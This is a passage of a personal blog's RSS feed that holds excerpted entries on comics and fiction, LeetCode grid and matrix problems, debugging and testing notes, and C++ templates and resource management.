[Wanda] But my children! [Xavier] Never existed! &lt;span class="citation-ref"&gt;&lt;a href="#HouseOfM-1"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Wanda&amp;rsquo;s overarching desire to have a family to the detriment of others has been
explored in the films &lt;em&gt;WandaVision&lt;/em&gt;, and &lt;em&gt;Doctor Strange: Multiverse of
Madness&lt;/em&gt;. First time seeing it in comic form.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;[Logan] Someone do the math for me&amp;hellip; How many more of you does she have to kill
before you snap out of it? &lt;span class="citation-ref"&gt;&lt;a href="#HouseOfM-1"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>K-th Smallest Element in Sorted Matrix</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/kth-smallest-in-sorted-matrix/</link><pubDate>Mon, 01 Aug 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/kth-smallest-in-sorted-matrix/</guid><description>&lt;blockquote&gt;
&lt;p&gt;Given an \(N \times N\) matrix, where each of the rows and columns
are sorted in ascending order, return the \(k^{th}\) smallest
element in the matrix. The memory complexity must be better than
\(O(N^2)\).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It&amp;rsquo;s not guaranteed that &lt;code&gt;matrix[r][c] &amp;gt; matrix[r-1][c]&lt;/code&gt;, so we can&amp;rsquo;t
compute the row (and similarly, the column) in which the \(k^{th}\)
smallest element is in.&lt;/p&gt;
&lt;p&gt;Using a priority queue that holds the \(K\) smallest elements does not
work because the memory usage is \(O(K)\), where \(K\) can be any
value in \([1, N^2]\). Furthermore, that doesn&amp;rsquo;t take into account
that the rows and columns are already sorted.&lt;/p&gt;</description></item><item><title>Spanning 4-Directional Walks From Origin to Destination w/ Obstacles</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/4-directional-spanning-walks-with-obstacles/</link><pubDate>Sun, 31 Jul 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/4-directional-spanning-walks-with-obstacles/</guid><description>&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;Given an \(M \times N\) integer array &lt;code&gt;grid&lt;/code&gt; where &lt;code&gt;grid[i][j]&lt;/code&gt; could
be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1&lt;/code&gt; representing the starting square. There is exactly one starting
square.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2&lt;/code&gt; representing the ending square. There is exactly one ending
square.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt; representing empty squares that we can walk over.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-1&lt;/code&gt; representing obstacles that we cannot walk over.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Return the number of 4-directional walks from the starting square to the
ending square, that walk over every non-obstacle square exactly once.&lt;/p&gt;</description></item><item><title>Unique Paths to the Bottom-Right Corner w/ Obstacles</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/unique-down-right-paths-with-obstacles/</link><pubDate>Sun, 31 Jul 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/unique-down-right-paths-with-obstacles/</guid><description>&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;Starting from the top-left corner, what is the number of possible unique
paths to reach the bottom-right corner, if you can only move either down
or right at any point in time, and the path cannot include any square
that is an obstacle? &lt;span class="citation-ref"&gt;&lt;a href="#LCUniquePathsII"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;
&lt;p&gt;The addition of obstacles has these implications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I can&amp;rsquo;t use the combinatorics formula because the problem is no longer
easy to define in general terms.&lt;/li&gt;
&lt;li&gt;The logic in the inner loop of the DP solution needs to take the
obstacles into account.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/dynamic-programming"&gt;#dynamic-programming&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Unique Paths to the Bottom-Right Corner</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/unique-down-right-paths/</link><pubDate>Sat, 30 Jul 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/unique-down-right-paths/</guid><description>&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;Starting from the top-left corner, what is the number of possible unique
paths to reach the bottom-right corner, if you can only move either down
or right at any point in time? &lt;span class="citation-ref"&gt;&lt;a href="#LCUniquePaths"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="dynamic-programming-solution-for-moving-downright"&gt;Dynamic Programming Solution for Moving Down/Right&lt;/h2&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/dynamic-programming"&gt;#dynamic-programming&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The number of unique paths to &lt;code&gt;grid[r][c]&lt;/code&gt; is the number of unique paths
to &lt;code&gt;grid[r-1][c]&lt;/code&gt; plus the number of unique paths to &lt;code&gt;grid[r][c-1]&lt;/code&gt;,
e.g.,&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;4&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;At any given time, we&amp;rsquo;re interested in two adjacent rows, so our space
usage should be at most \(2n\). Furthermore, we do not back-track to
the left, so if we update our values left-to-right, we can use \(n\)
space because the current cell will have the value from what would have
been in the previous row.&lt;/p&gt;</description></item><item><title>Debugging</title><link>https://www.curiosities.dev/computer-science/debugging/</link><pubDate>Sat, 02 Jul 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/debugging/</guid><description>&lt;h2 id="debugging-101"&gt;Debugging 101&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Definition? Debugging involves inspecting a program&amp;rsquo;s internal state.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h3 id="printf-debugging-and-logging"&gt;&lt;code&gt;printf&lt;/code&gt; Debugging and Logging&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;printf&lt;/code&gt; debugging, one adds print statements and keeps iterating until
enough information has been extracted. &lt;span class="citation-ref"&gt;&lt;a href="#MissingSemester2020DebuggingAndProfiling"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Using logging has several advantages over &lt;code&gt;printf&lt;/code&gt; debugging: varying logging
destinations (e.g. standard output, files, sockets, remote servers, etc.);
severity levels (e.g. &lt;code&gt;INFO&lt;/code&gt;, &lt;code&gt;DEBUG&lt;/code&gt;, &lt;code&gt;WARN&lt;/code&gt;, &lt;code&gt;ERROR&lt;/code&gt;, &lt;code&gt;&amp;amp;c&lt;/code&gt;) that support
filtering of output; color-coding for readability. &lt;span class="citation-ref"&gt;&lt;a href="#MissingSemester2020DebuggingAndProfiling"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Terminals have varying levels of color support: plain color; ANSI escape codes
(16 color codes with bold/italic and background); 256 color palette; 24-bit
truecolor (&amp;ldquo;888&amp;rdquo; colors, aka 16 million, e.g. &lt;code&gt;printf &amp;quot;\x1b[38;2;255;100;0mTRUECOLOR\x1b[0m\n&amp;quot;&lt;/code&gt;). &lt;span class="citation-ref"&gt;&lt;a href="#TermStandardColors"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Testing Your Code</title><link>https://www.curiosities.dev/computer-science/2022-06-11-testing-your-code/</link><pubDate>Sat, 11 Jun 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/2022-06-11-testing-your-code/</guid><description>&lt;h2 id="why-write-tests"&gt;Why Write Tests&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Helps catch bugs in the code, and in the programmer&amp;rsquo;s mental model of what the
code does. &lt;span class="citation-ref"&gt;&lt;a href="#SWEGoogleCh11"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;The later a bug is caught in the development cycle, the more expensive it is to
fix it. A good test today is a future debugging session saved. &lt;span class="citation-ref"&gt;&lt;a href="#SWEGoogleCh11"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The test is the first client of your code. It uncovers sub-optimal design
choices, tight couplings, missed cases, etc.. &lt;span class="citation-ref"&gt;&lt;a href="#SWEGoogleCh11"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Perspectives on Software Engineering</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/2022-06-06-perspectives-on-swe/</link><pubDate>Mon, 06 Jun 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/2022-06-06-perspectives-on-swe/</guid><description>&lt;h2 id="on-the-clean-code-movement"&gt;On the Clean Code Movement&lt;/h2&gt;
&lt;p&gt;Good enough is good enough. The architectural choices and bugs in the
implementation tend to be more impactful, so focus more on those. &lt;span class="citation-ref"&gt;&lt;a href="#Lent2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Be conservative in what you consider technical debt. It should be something that
slows down current/future changes, and not code that doesn&amp;rsquo;t &amp;ldquo;feel nice&amp;rdquo;. A code
base that is free if technical debt is likely over-emphasizing polish over
delivery. &lt;span class="citation-ref"&gt;&lt;a href="#Lent2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Abstractions and indirections in the name of future-proofing tend to be wrong
especially when treading new paths, where you can&amp;rsquo;t reliably predict the future.
A lot of value is in knowing the design guidelines well enough, that you know
when/if to deviate to better suit the current problem. &lt;span class="citation-ref"&gt;&lt;a href="#HNLent2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Resource Management in C++</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/resource-management/resource-management-cpp/</link><pubDate>Tue, 31 May 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/resource-management/resource-management-cpp/</guid><description>&lt;h2 id="resource-handles"&gt;Resource Handles&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;RAII is also covered in 
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/classes-in-cpp/#motivation-for-the-destructor-mechanism"
 
 
 
 &gt;
 Classes in C++ &amp;gt; Motivation for the Destructor
Mechanism
 
&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;The constructor/destructor pattern enables objects defined in a scope to
release the resources during exit from the scope, even when exceptions
are thrown. All standard-library containers, e.g. &lt;code&gt;std::vector&lt;/code&gt;, are
implemented as resource handles. &lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch13"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="stdunique_ptr-and-stdshared_ptr"&gt;&lt;code&gt;std::unique_ptr&lt;/code&gt; and &lt;code&gt;std::shared_ptr&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;These &amp;ldquo;smart pointers&amp;rdquo; are useful in managing objects that are allocated
on the free store (as opposed to those allocated on the stack). &lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch13"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Templates in C++</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/parameterization/templates-cpp/</link><pubDate>Mon, 30 May 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/parameterization/templates-cpp/</guid><description>&lt;p&gt;A &lt;strong&gt;template&lt;/strong&gt; is a class or a function that we can parameterize with a
set of types or values. &lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch6"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="parameterized-types"&gt;Parameterized Types&lt;/h2&gt;
&lt;p&gt;The 
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/classes-in-cpp/#containers"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 vector-of-doubles
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 can be generalized to a vector-of-anything type by making it a
template:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// `template&amp;lt;typename T&amp;gt;` can be read as &amp;#34;for all types T&amp;#34;. Older code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// uses `template&amp;lt;class T&amp;gt;`, which is equivalent.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;template&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;typename&lt;/span&gt; &lt;span style="color:#111"&gt;T&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;explicit&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;~&lt;/span&gt;&lt;span style="color:#111"&gt;Vector&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;delete&lt;/span&gt;&lt;span style="color:#111"&gt;[]&lt;/span&gt; &lt;span style="color:#111"&gt;elem&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ... copy and move operations ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;T&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;operator&lt;/span&gt;&lt;span style="color:#111"&gt;[](&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt; &lt;span style="color:#75715e"&gt;// For non-const Vectors
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#111"&gt;T&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;operator&lt;/span&gt;&lt;span style="color:#111"&gt;[](&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;const&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// For const Vectors
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#75af00"&gt;size&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;sz&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;T&lt;/span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#111"&gt;elem&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;sz&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch6"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Thor: God of Thunder</title><link>https://www.curiosities.dev/fiction/thor-god-of-thunder/</link><pubDate>Tue, 24 May 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/thor-god-of-thunder/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/thor-god-of-thunder.jpg');
 }
&lt;/style&gt;




&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Inspired to read this comic by the upcoming 
&lt;a href="https://www.youtube.com/watch?v=Go8nTmfrQd8"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Thor: Love and
Thunder
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 film.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="motifs"&gt;Motifs&lt;/h2&gt;
&lt;p&gt;[Gorr] &lt;em&gt;As I stand here now, witnessing with my own eyes the first awkward
fumblings of life in the void, I see no weeping god. No tears except those shed
by the misshapen creatures around me, minutes old and already begging for death.
I see no grand plan at work. No benevolent omnipotence at display. I see only an
inbred offspring of the elder gods, treating primordial life as his fleshy
plaything. But despite the best efforts of the gods, I know that life will still
find a way. Worlds will be blasted into being and creatures will slither from
the ooze to evolve and thrive. And ultimately learn to fear and worship the
bumbling deities they assume to be their makers.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#GodOfThunder2013-05"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/antitheism"&gt;#antitheism&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Swamp Thing</title><link>https://www.curiosities.dev/fiction/swamp-thing/</link><pubDate>Mon, 16 May 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/swamp-thing/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/swamp-thing.jpg');
 }
&lt;/style&gt;

&lt;h2 id="motifs"&gt;Motifs&lt;/h2&gt;
&lt;h3 id="love-and-loyalty"&gt;Love and Loyalty&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Their master gone, the un-men pause, uncertain of what to do&amp;hellip; They must among
themselves for a moment &amp;ndash; and, at least, a decision is reached. For all their
existence, they have followed their master blindly &amp;ndash; wherever he might lead&amp;hellip;
And there seems no good reason to change that situation now.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#SwampThing1972-02"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/loyalty"&gt;#loyalty&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;[Liz] &lt;em&gt;He&amp;rsquo;s kept her safely shut away for years. Isn&amp;rsquo;t that love? She&amp;rsquo;s
terrified of life without him. Isn&amp;rsquo;t that love? What other kind of love will
protect her from this awful world? The love she shares with Dennis is special,
will grow into something wonderful. Even shut away from the sunlight.&lt;/em&gt;
[Narrator] &lt;em&gt;She knows this is true. He told her so himself. But those eyes.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#SwampThing1986-54"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>TV and Film</title><link>https://www.curiosities.dev/fiction/tv-and-film/</link><pubDate>Tue, 10 May 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/tv-and-film/</guid><description>&lt;h2 id="crime-drama"&gt;Crime Drama&lt;/h2&gt;
&lt;p&gt;Ozark&amp;rsquo;s highlights are Ruth Langmore&amp;rsquo;s 90s&amp;rsquo; hip hop playlist, Wendy
Byrde&amp;rsquo;s sociopathic ambition, and Del Rio&amp;rsquo;s suave. The show follows the Byrde
family that has to launder money for the Navarro Cartel. The writers use
shortcuts as the show proceeds, and grant excessive plot armor for the Byrde
family in subsequent seasons. &lt;span class="citation-ref"&gt;&lt;a href="#Ozark"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Ozark"&gt;&lt;/a&gt;&lt;/span&gt;&amp;rsquo;s Bill Dubuque also wrote 
&lt;a href="https://en.wikipedia.org/wiki/The_Accountant_%282016_film%29"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 The Accountant (2016
Film)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, which follows
a CPA with high-functioning autism who makes his living by uncooking the books
of criminal organizations experiencing internal embezzlement. Might be worth
looking into.&lt;/p&gt;</description></item><item><title>Snow, Glass, Apples</title><link>https://www.curiosities.dev/fiction/gaiman-snow-glass-apples/</link><pubDate>Sun, 10 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/gaiman-snow-glass-apples/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/gaiman-snow-glass-apples.jpg');
 }
&lt;/style&gt;

&lt;h2 id="snow-glass-apples"&gt;Snow, Glass, Apples&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Stumbled onto &lt;span class="citation-ref"&gt;&lt;a href="#SnowGlassApples"&gt;&lt;/a&gt;&lt;/span&gt; from Hoopla&amp;rsquo;s recommendations. &lt;span class="citation-ref"&gt;&lt;a href="#SnowGlassApples"&gt;&lt;/a&gt;&lt;/span&gt; flips the script and tells the story from the step
mother&amp;rsquo;s perspective, and she is also the protagonist.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Snow White is a vampire. She fed on her father (consensually?), the King, to the
point of him being a shadow of a man. Her stepmother, the Queen, was only 18
when the King died. The Queen had witnessed Snow White&amp;rsquo;s vampirism, and so she
had a servant kill her by carving out her heart and dump her in the forest.
&lt;span class="citation-ref"&gt;&lt;a href="#SnowGlassApples"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Reading List from Reviews</title><link>https://www.curiosities.dev/todo/reading-list/</link><pubDate>Sun, 27 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/reading-list/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Objective: Collect recommendations on books that I don&amp;rsquo;t know about.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="computer-science"&gt;Computer Science&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Code: The Hidden Language of Computer Hardware and Software&lt;/em&gt;; Charles
Petzold&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not much concrete things said in &lt;span class="citation-ref"&gt;&lt;a href="#AskHN2022-03"&gt;&lt;/a&gt;&lt;/span&gt;, but a couple of
users remark that it got them into CS. Clear presentation of concepts that
programmers &amp;ldquo;tend to know&amp;rdquo; in a hand-wavy sort of way. &lt;span class="citation-ref"&gt;&lt;a href="#AskHN2022-09"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Don&amp;rsquo;t Make Me Think&lt;/em&gt;; Steve Krug&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Faculty member uses it as a required text in most of their UX classes. &lt;span class="citation-ref"&gt;&lt;a href="#AskHN2022-03"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Parable of the Sower</title><link>https://www.curiosities.dev/fiction/butler-parable-of-the-sower/</link><pubDate>Mon, 14 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/butler-parable-of-the-sower/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='ParableSower'&gt;
 
 Parable of the Sower&lt;i&gt;.&lt;/i&gt;
 A Graphic Novel Adaptation (Original by Butler, 1993)&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 Damian Duffy; John Jennings; Octavia E. Butler.
 
 
 
 
 
 &lt;a href="https://www.abramsbooks.com/product/parable-of-the-sower-a-graphic-novel-adaptation_9781419731334/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.abramsbooks.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.abramsbooks.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/play/12473453" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2020.
 &lt;a href="https://openlibrary.org/search?isbn=978-1-4197-3133-4" target="_blank" rel="noopener"&gt;
 ISBN: 978-1-4197-3133-4 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
